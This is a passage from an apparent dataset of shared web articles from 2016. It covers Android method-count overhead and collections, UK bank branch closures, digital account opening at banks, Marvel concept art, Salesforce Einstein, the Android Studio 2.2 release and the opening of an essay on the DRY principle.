themselves don't impose hundreds of extra methods. That is super important for libraries that do code generation. We were able to reduce the number of methods in our application by 2700 just by changing one of our code generation steps. 2700 methods for free for generating something that was package scope instead of private scope. Synthetic methods (18:45) These synthetic methods are called synthetic because you didn't write them. They were generated automatically for you. These accessor ones are not the only ones. Generics is another thing that came post-Java 1.0, and so it had to be retrofitted into how Java works. We see this a lot in libraries and even in our own applications. We're using these generic interfaces because they're extremely convenient, and they allow us to retain type safety. If we just have a method that accepts a generic value, when you compile this, you're going to find that every method that accepts that generic is going to get turned into two methods. One that accepts a string, whatever the generic type that you're using is, and one that's just object. That is like what erasure is. You hear a lot of people talk about erasure, and you might not understand what's happening. This is like the manifestation of erasure. We have to generate code that only uses object because that's what is going to end up being called when you access this generic method. If we look at what goes in that extra method, it's just a cast. It casts to that year type and then it calls the real implementation that accepts the generic. Anyone that's calling this call method is going to dispatch to this object method. Their calling code is going to pass in whatever their object is and then this code has to cast it and call into the real implementation. Every method that uses a generic, winds up turning into two methods. That is also true of return values. If you have a method that's returning a generic, you basically see the exact same thing. Two methods get generated. One that returns. In this case, our view. Then at the bottom, one that returns objects. This one's a lot more simple because it doesn't have to really do anything, it just accepts the view and then re-returns it as an object type. Another interesting thing to note here, which a lot of people don't realize, is that this is a feature of the Java language. If you have a method that you're overriding, you can change its return value to be a more specific version of that type. That is called a covariant return type. It doesn't even have to be, like in this case, we're implementing an interface. The base class doesn't even have to be an interface or anything. You can just be overriding a method from a base class. You can change its return type to be something more specific. The reason that you would do something like this is if you had other methods in our second class, which had to call into this get method, and they want the implementation type. Not the more broad, in this case, View type. It will allow them to do customizations that were only specific to TextView because they're in that class already. Covariant return type (21:58) Covariant return type. I'm sure you can guess what happens here. We get another method. In this case, it's both a generic and a covariant return type. We've taken our one method and turned it into three by basically not doing anything. This is a python script that detects these: That took a long time to figure out, but I wanted to know how prevalent this was in applications. We can go through the same process and run it over every app that I had installed. It's in the low thousands. There's not a whole lot you can do here. I showed that ProGuard can kind of help. The advantage of this case is that if ProGuard can detect that no one is referring to the generic version of the method, the method that takes an object or returns object. It can eliminate that, so you will see hundreds or thousands of these can be removed by ProGuard. But some of them can't because you are using them in the generic sense where you're calling the method on the interface. The last example that I want to look at for methods deals with something that's new and upcoming in Android which is the the Java 8 language features. We've had retro-lamina for awhile. But now the Jack compiler is also implementing these in the same spirit, which is allowing them to be used in a way that's back portable. But is there an associated cost to these new language features? I have a simple class which says, Hi when we call its method. What I want to do is take my Greeter and make it say hello on this Executor . Executor has a single method called run , and it accepts a Runnable . In the current world, we would make that creator type final . Then we would create a new runnable and call the method directly. In Lambda World it's just reducing the verbosity of doing that. That will still create a Runnable , but it does so implicitly. You don't have to specify the type. You don't have to know the actual method name or the argument types. The last one is method references. These are a little more interesting because it infers that this is a method that returns nothing and accepts no arguments. I can turn that into a Runnable automatically because I know all I have to do is call that method. How much do these cost? (24:45) That's fun, but how much do these cost? What are the costs of applying these language features? I set up a Retrolambda toolchain here and a toolchain using Jack. Neither of these is using ProGuard, or minification in Jack's case, because it doesn't affect the results. In the anonymous class case, the case that we've been using for so long, it's always two methods. If we compile our example, we see that this is our anonymous class, given assigned a monotonically increasing number here. We see the constructor. The constructor's going to take in the Greeter class for us and then it has a run method, which if we decompile it, all it does is call the method. That is exactly what we expect, very straightforward. When we do a lambda, if you're using an old version of retrolambda, this is really expensive. That one little tiny line of code can be six or seven methods to produce that functionality. Thankfully, the current version's down to four. And Jack even bests it with three, so only one worse than the anonymous class. But what's the difference? Why is there that extra method? We know how to figure that out. This is retrolambda, which has two additional methods: The one that's new is the top one. What's happening here is, you're defining a block of code inside the lambda, and that code has to go somewhere. It's not encoded in the method that defines the lambda because that would be weird. It doesn't belong to that method. It has to be stored somewhere so that it can be passed into whatever you're calling. That's what this top method is. It just copies and pastes whatever you write into the lambda into method in that same class. You can see the implementation here. All it does is delegate to the sayHi method. Very similar to what our runnable implementation did. We still have our constructor. We still have our run method. Except the repair of the run method is different. Instead of calling Greeter directly, it's going to call back into the original class and call that lambda method. That is the extra method. Here's where retrolambda screws it up. Instead of calling the constructor directly to create this generated class, it generates another method, which is a static factory method that calls the constructor. Jack's basically the same thing except it doesn't have that additional static method. We still get the lambda one, although it's named kind of crazy, and then the generated class is named very creatively with the entire type signature in the name. So that's it. Three methods. Lambdas cause that additional method at the top to be created. That's why they cost one additional method. Method references are also really interesting. Retrolambda and Jack are essentially tied. Retrolambda sometimes has to generate an extra method, and that's because you might be referring to a private method, and so it's not retrolambda generating it. Java generates one of those synthetic accessor methods because if you're passing a reference to a private method to another class, it's going to have no way of calling that. That's what the fourth one is. Jack, interestingly enough, generates three for every single method reference. It should be generating two for every single one except for that private case. In that case, it should only be generating three. Currently, it generates an accessor method for every single method reference. There's a bug filed for that too, so hopefully we'll see Jack get down to two methods. That's really important because that puts the method reference on the same par as the anonymous class. It makes it a zero cost abstraction from switching from the anonymous class to the method reference, which will be nice. Lambda's, unfortunately, will likely never get down to the same amount. The reason that that will never happen is that you also could be referring to private members or private methods inside of the lambda. It can't copy that into the generated runnable. Because again, it doesn't have any way of accessing those things. We can count these as well. Lambdas in the wild (30:05) Let's look and see how many lambdas are being used in the wild. Same deal. By the way, this takes a long time. It takes around 10 minutes. It also depends on how many apps that you end up pulling. If you wind up doing this for whatever reason, don't get impatient. It will take a long time, but you will get a result. Unfortunately, apparently not a lot of people are using lambdas, and I was excited to see that we pay the most. We have 826 lambdas. That's the number of lambdas and not the number of methods. The number of methods that we have from our lambdas is 826 times three or maybe four. No one's using Jack yet, or at least, of the applications I installed, no one's using Jack with lambdas. They might be using Jack and not using lambdas, which would be weird. Or additionally, they could be ProGuarding. So again, this ProGuard completely hides these lambda classes and names of the methods. If you're a popular application using lambdas, and you ProGuard, that's probably why you're not on this list. Or I just don't like your app. That was all on methods. The reason I was looking into this was one, to stave off hitting the 65K limit. But those methods have a run time cost as well. There are costs for loading additional bytecode. There's also costs for the extra trampoline that you have to go through when you're executing them. The private field one is my favorite because a lot of times you see that happen inside these anonymous listeners. Those are usually running as the result of the UI interaction on the main thread. What you don't want is a computationally expensive piece of code that you have to run on the main thread, whether it's for animation, size calculation, whatever. You don't want those, every single time you're referencing those fields; you don't want to be jumping through that extra method. Looking up a field is fairly fast. Invoking a method and then looking up a field is still going to be fast, but it's 100% of the time going to be slower than just looking up the field. You're introducing these indirections which you're not going to be dropping frames all of a sudden because these accessor methods exist. But they're useless methods that the only thing they serve to do is bloat your APK and very, very subtly slow down your application. I want to change gears a tiny bit and talk about something a little more run-time focused. That has to deal with collections. If you have anything that resembles the following in your application, you're probably wasting more resources than you should. Android has these specialized collections which I think most people nowadays know about. The implementation varies, but they're specialized to these cases which are very common. For example, when you have an integer index into a map referring to some value. There's a specialized collection for that. A lot of times people talk about this on the context of autoboxing. What autoboxing is, if you're not aware, is if we have this HashMap, which accepts an integer key, so you have an integer of some value, and you want to put a value in this map. Or conversely, you're iterating over the entries, and you want to get the value from a key, this conversion isn't straightforward. It has to go through an additional step called autoboxing, which is where it takes the primitive value and turns it into the class version of that, which in this case is an integer. The bottom one's not that expensive. It's unwrapping a type. The top one is the one that's bad. For small numbers, there's a cache, so it's not bad, but if you had a random slew of integers, it's going to be allocating objects every single time you call a method. Which is generic and accepts the big I integer. That is what most people talk about as the big advantage. It's very true that this is a significant advantage, but it turns out there are two other big advantages which aren't talked about a lot. The first one is data indirection. If you look at how HashMap is implemented, it has an array of these nodes, and that keeps its own size. When you're either putting a value or looking up a value, it has to jump into this array. That is the hashing step. This is the cost and time operation where it finds the hash and then does the offset into the array. However, this is an array of nodes. The node type has both the key and the value. It also has the hash, and it has a pointer to an additional node. We got to the array; we found the reference to the node, and we have to jump to the node now. Then we have to look inside the node if we want the value. We get the reference to the value, and we have to jump to it. We have to go through these indirections. They're in all different spaces in memory. You have to make these jumps in memory to get a value for a single key. Or to put a value at a single key. And then it can get worse. This is the hash collision problem, where if two items hash to the same bucket, HashMap will degrade into what is a linked list inside that bucket. If we happen to hit this case, we now have to walk the link list and find the matching exact hash. I'm going to look at sparse array. Sparse array's the replacement for this one here. We're going to look at that in a second, but before we get there, the other advantage just comes around to overhead. The overhead in memory of these collections. We have two classes here. We can use a tool called Java object layout, and it's going to tell us what the overhead of creating one of these objects is in memory. Running on HashMap, it's going to print out a bunch of stuff. It is showing you the cost per field. The important number is here at the bottom, where every instance of a HashMap, just the HashMap, not the nodes, not the keys or values or anything. Just the HashMap object itself is 48 bytes. It's not bad. That's small. We're running on the node object. Same stuff. We see our four fields. This one's 32 bytes. It's 32 bytes for every single node in that map. Every item in that map, every key and value pair is going to be inside one of these nodes. It's 32 times the number of entries. We can use a formula like this to figure out what the actual size of an object is at runtime when I start putting values into it. That is not fully correct. You also have to account for things like the array. There's an array that has to hold the nodes, so we need to account for the space that that array has to occupy. That is complicated. It's four, which is a single integer, which is the reference to each array, multiplied by the size of the array. The problem is, HashMap has this thing called a load factor. The eight at the end is a constant overhead for every array. But the load factor never tries to be full. It tries to maintain a certain percentage of fullness, so when it reaches that percentage, it's going to grow as an array list would. The HashMap is also going to grow so that it can maintain some empty spaces. The reason for that is because, if that doesn't happen, you start getting a lot of collisions and a lot of degradation performance. That would be approximately the value that a HashMap with however many entries and whatever the load factor is. We could figure out how many bytes in memory this is going to occupy. By the way, the default load factor is 75%. HashMap tries to stay 3/4 full at all times. Sparse array is what you should be using if you want to replace HashMaps like this. Let's look at the two cases we looked at in HashMap, which is the indirection, the levels of indirection, and the size of memory. Sparse array stores two arrays that are siblings. One is just the keys; the other is just the values. If we're looking up a value in this map, or putting a value on this map, the first thing we do is we go into this integer array, and unlike HashMap, it's not constant time. It has to do a binary search inside this array. We can then jump to the values array, and in this case, the binary search gave us the exact cell in the values array to look up the value. Because that array is the values, we can then return, jump directly to that reference and return that back to you. There's a lot less indirection here regarding memory. The integer array is continuous; there's no linked list. We can jump directly inside the values array. There's no node object that we have to unwrap and then get to the value. There's a lot less indirection. However, it does come with that slow down of not being perfectly constant time. This is why you want to keep them for relatively small maps. And by small, it's in the order of hundreds of entries. If you get into the thousands, the performance of the binary search is going to cause it to be so slow that the overhead of HashMap probably starts looking pretty appealing regarding performance. In this case, because the classes are exactly the same and the JVM 64 bit, and Android's now 64 bit, the number should be translatable. If that bothers you, treat them as an approximation and allow for some 20% variance. It's certainly a lot easier than figuring out how to get the object sizes on Android itself. Which is not impossible, it's just a lot easier this way. The object itself for sparse array is a little bit smaller, 32 bytes. That size doesn't matter. What does matter, however, is that you know these aren't just 32 plates. We have the entry problem again. We have to account for the array, that is, the integers for the keys, and that's four times the number of entries, plus eight. Then there's also the array for the values, which is the same thing, four times the number of entries, plus eight. What's different here is that sparse array doesn't have a load factor, but it does implicitly because these arrays are trees. They're binary trees. They're not filled. They're not contiguous. There are spaces inside of them that are unoccupied. We have to account for that with a little fudge factor, which is similar to the load factor. In this case, and it totally depends on what data you're putting into the map, I'm using the same value. I'm assuming that these arrays are going to be about 75% full, which is a pretty safe assumption. Now we can make a direct comparison against these things. We know that we can count the indirection jumps. That's easy. Now we can use these equations to compare the actual values of memory that these instances would occupy. I'm going to use .75 again for HashMap, which is the default. We can pick a value for number of entries. In this case, I picked 50. Maybe it's a map of states in the United States. Then we can run these computations. What you see is that the sparse array is 1/3 of the size. You have to remember; there's a slight performance overhead to this because every operation is no longer constant time. It's 50 elements, and so the number of searches in the binary tree is going to be very fast. That was a lot of stuff. It turns out that there are some extremely trivial to-dos to avoid these overheads, both at compile time with methods, and run-time for the overhead of various objects, and the indirection that they may afford. The first one I already showed. Turn on that private member inspection and listen to it. Don't ignore it. You don't have to do it for every single type. You don't need to go through and do it all at once. It's something you can do as you go in your app. Conversely, for libraries, it's a little more important. As a library, you should want to minimize your impact both in APK size and run-time performance. Or deck size and run-time performance. If you have a library, you might want to go through and find all these. There is no reason for the synthetic accessor methods to exist in libraries. It's a waste of space in the dex file. It's a waste of time in the run-time. Report them as bugs. If you are using retrolambda, please, please, please make sure you're upgraded to the latest version because you are wasting probably thousands of methods. If you're writing an open-source library, maybe just suck it up and deal with the anonymous classes. It's not that big of a deal. But again, it goes back to the fact that you want to have the minimal impact for your application developers, so that you're never the problem as the library. Try out Jack. It's a big deal. It's still undergoing rapid development. It's missing a lot of things that are going to make it applicable to everyone here, but certainly, there's going to be applications which are more trivial, or not doing anything exotic in build time. Don't ignore bugs. Don't switch, find it crashes and be like, ""Oh, whatever, I'll try in two years."" You can do that, just report the bug before you switch back to Java C index. This is the future, and you can cover your ears and close your eyes, but it's happening. It's better to find these things sooner rather than later. Then just turn on ProGuard. ProGuard helps out here. Whether you're using ProGuard or there's the new shrinker which is incremental and still works with instant run and presumably will be what Jack uses as well. Don't use overly matchy rules. If you ever see * * in a ProGuard rules file, that is wrong 100% of the time. That is never what you should be using because you've effectively just nuked any advantages that you were getting from ProGuard. You're saying that ""Yeah, I'm pulling in OkHttp, but I don't want all of these methods from HTTP/2, which I'm not even using. I don't want them to be stripped. I want to retain them just in case."" It's not smart. If you see these on open-source libraries, that is a bug. Report that as a bug. If you have those in your own app, try and figure out why they were initially there. Take them out, and think and look at the failure of ProGuard and see if there's something more specific that you can change your rule too. If this stuff is really tickling you and interesting you, there are a few other presentations that you can take a look at. Resources",en
1474121408,CONTENT SHARED,-3645539449929727083,5660542693104786364,874369656116534180,,,,HTML,https://www.theguardian.com/money/blog/2016/sep/17/why-bank-branches-closing,"Why 3,000 bank branches must close","I'm the Money editor of the Guardian, but have not made a single visit to my bank this year. My deputy has called in at his branch about three times. Web Money editor Hilary Osborne says she's been just twice, each time simply to deposit a cheque, and regarded it as a faff. How long before bank branches go the same way as video chain Blockbuster? You sort of remember visiting, forgot about it after Netflix appeared, and pretty soon they had all disappeared. This week Nationwide director Graeme Hughes drew me a graph of the network a bank needs to connect with the population. You start with a branch in the centre of Glasgow (Nationwide's busiest location), then you keep adding until you have 600 branches in the biggest towns and cities. At that point you have 85% of the population covered - and further branches bring diminishing returns. Towns with a population much below 10,000, it seems, are not really worth having a branch in. If you work in one of any of the 6,479 branches of Lloyds, Barclays, HSBC, NatWest and Santander, this is going to make for grim reading. If one applies Hughes' yardstick, that's around 3,200 too many. Nationwide's own network is, rather neatly, around 650-strong - but data body CACI also reckons that 600-650 is about right for every bank. In 2011 there were 478m ""customer interactions"" in Britain's bank branches. This year it will be less than 280m. Tumbleweed blows through some branches - the average one now handles only 71 customers a day, with some seeing just a handful of people. We used to regularly feature the Campaign for Community Banking Services , as it battled against branch closures in rural communities. Tellingly, Derek French, who ran the campaign, is now closing down its website. Many will be angry, especially the very elderly, for some of whom smartphone banking and contactless cards hold few attractions. Age UK says 4.5 million over-65s are not online, and journeys to branches are getting longer. Not that bank chiefs want every branch to go. Hughes is actually a strong proponent of the 650-branch network, citing a peculiar fact about how we regard banking. When Nationwide opens a new branch, the number of people using its smartphone app in the area increases considerably. It seems a bank branch has a halo effect, giving us reassurance and confidence about the institution, even if we never go inside. He adds that the quality of transactions inside branches is increasing. Tiny numbers pop in with passbooks to deposit a small sum. Instead, branches are for the big-value transactions we are not (yet) happy to do on a smartphone. One small Nationwide branch in Caversham, near Reading, was slated for closure. It certainly couldn't warrant a full-time mortgage adviser and other experts. But the society instead installed Skype-style screens so customers could come in and speak to experts directly, if remotely. It was a big success - sales rocketed - and ""Nationwide Now"" screen-based advice is being rolled out in every branch. Locations once considered borderline are now secure. But how long before we just do the screen-call from our homes? Much as one is sympathetic when a community loses its last bank, the next generation will regard bank branches as about as handy as a high street telephone box: quaint, but entirely redundant.",en
1474162814,CONTENT SHARED,-7277691357631151609,-1479311724257856983,312013202843239898,,,,HTML,http://geektyrant.com/news/giant-man-goes-down-in-captain-america-civil-war-concept-art-and-new-poster-art,Giant-Man Goes Down in CAPTAIN AMERICA: CIVIL WAR Concept Art and New Poster Art,"Marvel Studios concept artist Andy Park recently released a wonderful new piece of concept art from Captain America: Civil War for you to enjoy featuring Giant-Man being taken down by Iron Man, War Machine, and Spider-Man. This was such a fun scene in the movie and I love this illustration that helped inspire it. I also include a couple of cool art prints for the film that were created by artist Vance Kelly . One of them focuses on Team Cap and the other one focuses on Team Iron Man. Captain America: Civil War was released on Blu-ray/DVD earlier this week. I'm sure you all own it by now. Newest Posts on GeekTyrant",en
1474291669,CONTENT SHARED,-2630716662499331227,5660542693104786364,-1861047133466894224,,,,HTML,https://thefinancialbrand.com/61131/digital-banking-mobile-account-opening-research-study/,Digital Consumers Forced to Open Accounts in Branches,"Research reveals that banks and credit unions are forcing new customers into branches to complete new digital account openings while other industries are offering completely digital experiences. Study after study have revealed that consumers are abandoning new account opening processes because of frustration with poorly designed online and mobile applications. The challenges range from asking for too much information, to not being able to complete the entire process using a single digital channel. In one study, it was found that 40% of all online applications that consumers start never get finished. What's worse, those who applied for a product in the last 12 months digitally were found to have abandoned the process significantly more than those who last applied more than a year ago (45% vs. 26%) ... indicating an increasing lack of patience. You would think this would prompt progressive financial institutions to quickly respond to this opportunity by improving online and mobile account opening processes, capturing new business from these frustrated consumers. Unfortunately, research indicates that this call to action is being ignored, impacting customer satisfaction and, more importantly, account opening metrics. In an extensive research report, ' State of the Digital Customer Journey ,' sponsored by Kofax , it becomes clear that the industry is falling significantly behind consumer expectations for offering a seamless digital account opening process. Not only does the research find that the majority of banks and credit unions do not provide an online or mobile new account opening option, but even those that do provide these options require branch-based engagement to complete the process. Branch Account Opening Still Prevails When financial institutions were asked how consumers could open new checking accounts, less than half could open accounts online, while only 15% of organizations could open accounts with a mobile device. The largest organizations were more likely to be able to support online and mobile account opening, with the credit union segment also performing better with online account opening. The community bank segment is significantly lagging in the ability to support mobile account opening. Read More: Branches Still Required for Digital Account Openings Of the close to 50% of institutions that indicated they offered online account opening, less than half of these institutions (43%) stated that the entire online account opening process could be done without coming into the branch. That means that roughly 80% of all financial institutions do not provide customers the ability to open an account entirely at their desktop. This lack of one-stop online account opening support results in an 'experience disconnect' compared to organizations such as , , and other digital-first banking organizations globally that have offered similar capabilities for years. The support for single channel account opening was far worse for the 15% of organizations that responded that they allow checking account opening with a mobile device. For mobile account opening, only 17% could support a mobile account opening without visiting a branch office. Not only is the support for a seamless mobile account opening exceedingly low, the number of organizations indicating that there are NO PLANS to offer mobile account opening is frighteningly high (35%). Branch Engagement Caused by Legacy Processes While an increasing number of banks and credit unions surveyed indicate that they allow new customers to open their accounts online or even with mobile devices, almost three-quarters of financial institutions require key Know Your Customer (KYC) components to be done in the branch. These branch-based requirements are not only not part of current regulations, but can be satisfied by increasingly sophisticated solutions provided by suppliers (improved processes and solution providers are covered in the Digital Account Opening issue of the Digital Banking Report). The question to be answered is that if a bank or credit unions allows consumers to initiate the process online, but still require signatures, documentation, ID verification or even funding in a branch office, has the process been built for the benefit of the financial institution or the customer? A word of warning. At many institutions, when a new customer is required to visit the branch to complete the account opening process that was initiated either online or on a mobile device, the branch staff is often incented to start the process completely over to receive credit and/or commission for the sale. This hijacking of the online account opening process usually invalidates measurement of channel attribution since there is normally only measurement of last channel used. This can significantly reduce the ability to understand the number of consumers who wanted to open an account digitally but were required to visit a branch. Multichannel Support of Account Opening Lacking One of the key elements of a multichannel strategy is to be able to allow the new customer to 'save and resume' their account opening process on an alternative channel. The reason for allowing this capability is that most institutions have lengthy new account opening processes, without providing guidance as to what may be required to open a new account online. If a consumer needs information not at their fingertips, they may want to use another channel later to complete account opening. The ' State of the Digital Customer Journey ,' research found that, not only do half of institutions not allow a customer to stop and resume the process using a different channel, but less than half allow a stop and resume on the same channel they started the process on. This is especially apparent with mobile account openings, where only 24% could restart on a mobile device compared to 45% who could restart on the same channel if they initiated the process online. Poor Digital Processes Lead to Abandonment Given the challenges associated with opening a new account using either the online or mobile channel, it should not be surprising that there is a high abandonment rate associated with digital account opening processes. What should be surprising is that less than half of the organizations surveyed measure abandonment rates for digital account opening. One of the benefits of online and mobile account opening is that a financial institution not only can monitor abandonment rates, but they can determine exactly what step caused the customer to stop opening their account. With this insight, the process can be adjusted to improve completion rates. In addition to being able to determine what causes abandonment, monitoring the process allows financial institutions to retarget the customer who started opening an account instantaneously with a phone call, SMS text, email or some other form of re-engagement. By collecting basic contact information (name, email, cell phone number, etc.) at the beginning of the account opening process, you can recapture potentially lost customers who had difficulty with your account opening process. Purchase The Report The State of the Digital Customer Journey report, sponsored by Kofax , provides comprehensive insight into the minds of consumers and the activities of financial institutions around digital account opening, onboarding and cross-selling. The report includes the results of a survey more than 300 financial services organizations. The report includes 75 pages of analysis and 60 charts. You can download an executive summary of this Digital Banking Report by clicking . Subscribers to The Digital Banking Report and those wishing to purchase the complete report can access it immediately by clicking . Jim Marous is co-publisher of The Financial Brand and publisher of the Digital Banking Report , a subscription-based publication that provides deep insights into the digitization of banking, with over 150 reports in the digital archive available to subscribers. You can follow Jim on Twitter and LinkedIn , or visit his professional website . All content © 2016 by The Financial Brand and may not be reproduced by any means without permission.",en
1474298657,CONTENT SHARED,-4749032095489327822,-1032019229384696495,4367730833101863534,,,,HTML,https://techcrunch.com/2016/09/18/salesforce-turns-its-attention-to-artificial-intelligence-with-salesforce-einstein/,Salesforce Einstein delivers artificial intelligence across the Salesforce platform,"Say what you will about Salesforce, the company is always looking ahead. This afternoon, it announced Salesforce Einstein, its artificial intelligence (AI) initiative. The timing, which comes just ahead of rival Oracle's Open World keynote address , is probably not a coincidence. Regardless, the larger AI theme is something Salesforce has been working on across various pieces of its platform over the last couple of years. Today's announcement is about tying it together to show the breadth of this approach. Every year has its leading technology trends and clearly this year, artificial intelligence and its close cousin, machine learning are our favorite flavors. When the biggest companies including Google, Microsoft and AWS are building AI and machine learning tools, it is more than simply a buzzword. Salesforce has always tried to stay ahead of the curve. It was after all, one of the first true cloud offerings (even though we didn't call it that then). When it announced an Internet of Things cloud last year - when IoT was itself flavor the year - it caused some raised eyebrows, but Salesforce recognized that devices and sensors would be giving signals that its users could collect to understand customers and markets better. A year later we have Salesforce Einstein, which isn't so much a product as a technology umbrella under which all of Salesforce's artificial intelligence pieces live. Being a Salesforce announcement, it is of course broad and includes lots of individual components, but the gist here is that Salesforce wants to use every aspect of its platform to take the complexity out of AI, giving Salesforce CRM an intelligence blast, while exposing the AI APIs to let customers build intelligent apps on the Salesforce platform. The company pulled together 175 data scientists to help create Salesforce Einstein, while leveraging acquisitions such as MetaMind, PredictionIO and RelateIQ. In fact, MetaMind founder Richard Socher, holds the title of Chief Data Scientist at Salesforce now. Salesforce Einstein will touch every one of its products in some way eventually. Among the AI pieces it is including in the platform are advanced machine learning, deep learning, predictive analytics, natural language processing and smart data discovery. Ultimately, it's not very different from exposing any other parts of the platform to customers, but it's focused on making a smarter CRM tool, one that surfaces the information that matters. Sometimes this information may seem apparent, signals any reasonably good sales person would be looking for. Salesforce's goal here is to put this key data front and center, and it believes even the most skilled sales pros will benefit from this approach. For inside sales teams making cold phone calls all day long, the system can surface the most likely candidate as the next call automatically. For sales people working territories, it can keep them apprised of key information such as when a competitor's interest shows up in the news. While you could argue that an astute sales person would be tracking this information, the Salesforce Einstein approach is designed to leave nothing to chance. One of the issues for companies trying to build smarter applications is having access to a quality data set. Salesforce has access to a large body of information about customers, territories, and so forth, and it can provide aggregated data from customers who choose to share that information (without exposing any competitive details). It made clear it won't share information if a company opts out, and it can assure that through the concept of data tenancy - that is, that each company has its own place of residency on the platform. Pricing and availability will vary, and may involve an additional charge, or could be included with the cost of the license, depending on the service. Einstein AI tools are built in across the platform such as Community Cloud with automated community case escalation and recommended experts, files and groups; Analytics Cloud with smart data discovery and Commerce Cloud with product recommendations. All of these are all generally available today, while others will be announced over the coming months. Prediction.IO is an open source machine learning tool, and is available for free download . It's important to note that Salesforce didn't necessarily invent these AI approaches, but is building a version of many AI and machine learning tools. That said, what Salesforce is attempting to do here is highly ambitious, and this is just the start. Being somewhat early, it could be some time before it really begins to take hold with customers in a broad way, but in typical Salesforce fashion, it wants to be there whenever customers are ready. Featured Image: Hulton Archive / Stringer /Getty Images",en
1474307005,CONTENT SHARED,-4084394822880420062,-1836083230511905974,949170573697719844,,,,HTML,http://android-developers.blogspot.com.br/2016/09/android-studio-2-2.html,Android Studio 2.2,"By Jamal Eason , Product Manager, Android Android Studio 2.2 is available to download today. Previewed at Google I/O 2016, Android Studio 2.2 is the latest release of our IDE used by millions of Android developers around the world. Packed with enhancements, this release has three major themes: speed, smarts, and Android platform support. Develop faster with features such as the new Layout Editor, which makes creating an app user interface quick and intuitive. Develop smarter with our new APK analyzer, enhanced Layout Inspector, expanded code analysis, IntelliJ's 2016.1.3 features and much more. Lastly, as the official IDE for Android app development, Android Studio 2.2 includes support for all the latest developer features in Android 7.0 Nougat, like code completion to help you add Android platform features like Multi-Window support , Quick Settings API , or the redesigned Notifications , and of course, the built-in Android Emulator to test them all out. In this release, we evolved the Android Frameworks and the IDE together to create the Constraint Layout. This powerful new layout manager helps you design large and complex layouts in a flat and streamlined hierarchy. The ConstraintLayout integrates into your app like a standard Android support library, and was built in parallel with the new Layout Editor. Android Studio 2.2 includes 20+ new features across every major phase of the development process: design, develop, build, & test. From designing UIs with the new ConstraintLayout , to developing C++ code with the Android NDK, to building with the latest Jack compliers, to creating Espresso test cases for your app, Android Studio 2.2 is the update you do not want to miss. Here's more detail on some of the top highlights: Design Layout Editor: Creating Android app user interfaces is now easier with the new user interface designer. Quickly construct the structure of your app UI with the new blueprint mode and adjust the visual attributes of each widget with new properties panel. Learn more . Constraint Layout: This new layout is a flexible layout manager for your app that allows you to create dynamic user interfaces without nesting multiple layouts. It is backwards compatible all the way back to Android API level 9 (Gingerbread). ConstraintLayout works best with the new Layout Editor in Android Studio 2.2. Learn more . Develop Improved C++ Support: You can now use CMake or ndk-build to compile your C++ projects from Gradle. Migrating projects from CMake build systems to Android Studio is now seamless. You will also find C++ support in the new project wizard in Android Studio, plus a number of bug fixes to the C++ edit and debug experience. Learn more . C++ Code Editing & CMake Support Samples Browser: Referencing Android sample code is now even easier with Android Studio 2.2. Within the code editor window, find occurrences of your app code in Google Android sample code to help jump start your app development. Build Instant Run Improvements: Introduced in Android Studio 2.0, Instant Run is our major, long-term investment to make Android development as fast and lightweight. Since launch, it has significantly improved the edit, build, run iteration cycles for many developers. In this release, we have made many stability and reliability improvements to Instant Run. If you have previously disabled Instant Run, we encourage you to re-enable it and let us know if you come across further issues. (Settings → Build, Execution, Deployment → Instant Run [Windows/Linux] , Preferences → Build, Execution, Deployment → Instant Run [OS X]). For details on the fixes that we have made, see the Android Studio 2.2 release notes . APK Analyzer: Easily inspect the contents of your APKs to understand the size contribution of each component. This feature can be helpful when debugging multi-dex issues. Plus, with the APK Analyzer you can compare two versions of an APK. Learn more . Build cache (Experimental): We are continuing our investments to improve build speeds with the introduction of a new experimental build cache that will help reduce both full and incremental build times. Just add android.enableBuildCache=true to your gradle.properties file. Learn more . Test Virtual Sensors in the Android Emulator: The Android Emulator now includes a new set of virtual sensors controls. With the new UI controls, you can now test Android Sensors such as Accelerometer, Ambient Temperature, Magnetometer and more. Learn more . Android Emulator Virtual Sensors Espresso Test Recorder (Beta): The Espresso Test Recorder lets you easily create UI tests by recording interactions with your app; it then outputs the UI test code for you. You record your interactions with a device and add assertions to verify UI elements in particular snapshots of your app. Espresso Test Recorder then takes the saved recording and automatically generates a corresponding UI test. You can run the test locally, on your continuous integration server, or using Firebase Test Lab for Android . Learn more . Espresso Test Recorder GPU Debugger (Beta): The GPU Debugger is now in Beta. You can now capture a stream of OpenGL ES commands on your Android device and then replay it from inside Android Studio for analysis. You can also fully inspect the GPU state of any given OpenGL ES command to better understand and debug your graphical output. Lean more . To recap, Android Studio 2.2 includes these major features and more: Learn more about Android Studio 2.2 by reviewing the release notes and the preview blog post . Getting Started Download If you are using a previous version of Android Studio, you can check for updates on the Stable channel from the navigation menu (Help → Check for Update [Windows/Linux] , Android Studio → Check for Updates [OS X]). You can also download Android Studio 2.2 from the official download page . To take advantage of all the new features and improvements in Android Studio, you should also update to the Android Gradle plugin version to 2.2.0 in your current app project. Next Release We would like to thank all of you in the Android Developer community for your work on this release. We are grateful for your contributions, your ongoing feedback which inspired the new features in this release, and your highly active use on canary and beta builds filing bugs. We all wanted to make Android Studio 2.2 our best release yet, with many stability and performance fixes in addition to the many new features. For our next release, look for even more; we want to work hard to address feedback and keep driving up quality and stability on existing features to make you productive. We appreciate any feedback on things you like, issues or features you would like to see. Connect with us -- the Android Studio development team -- on our Google+ page or on Twitter . What's new in Android development tools - Google I/O 2016",en
1474307356,CONTENT SHARED,7985545205318799060,-9016528795238256703,-3582296604567886387,,,,HTML,http://thereignn.ghost.io/on-dry-and-the-cost-of-wrongful-abstractions/,On DRY and the cost of wrongful abstractions,"This article has been on my to do list for quite some time now. But it seems that only today I found the energy and time to take it from idea to implementation. Coincidence or not, I'm at the same coffee shop I posted my first article, a while ago. Must be that they put something in the drinks they serve... So the good, old advice of following best practices, right? We hear about them all the time. We've somehow made acronyms such as DRY or KISS defaults in our technical conversations. We follow the concepts religiously and if, by chance, desire or lack of knowledge, someone strays away from them, we make sure we rain a shit storm of criticism upon them. We're caught in this dogma and we refuse to look away. For sure I don't want to imply that principles such as DRY are bad. Definitely not. I just think context matters . A lot. In regards to DRY specifically, this brings in the following logical conclusion: I actually am the guy that will sometimes advise in favour of duplication rather than abstraction. Yes, you read that right. Duplicating code (a.k.a copy + paste) can be a good thing . Namely when the abstraction that would replace repetitive portions of your codebase is a pain to understand. How programming time is divided When I tell people what I do for a living, they all imagine I must be some kind of weirdo who keeps slapping the keyboard ten hours a day or more. Although, I'm not sure I'm not a little weird, I'm pretty sure I don't code for ten hours straight. The truth is that we, as programmers, spend far more time reading code than writing code. I'm not sure if you ever tracked this in one form or another, but research and Robert C. Martin claim to have some sort of ratio on this. And 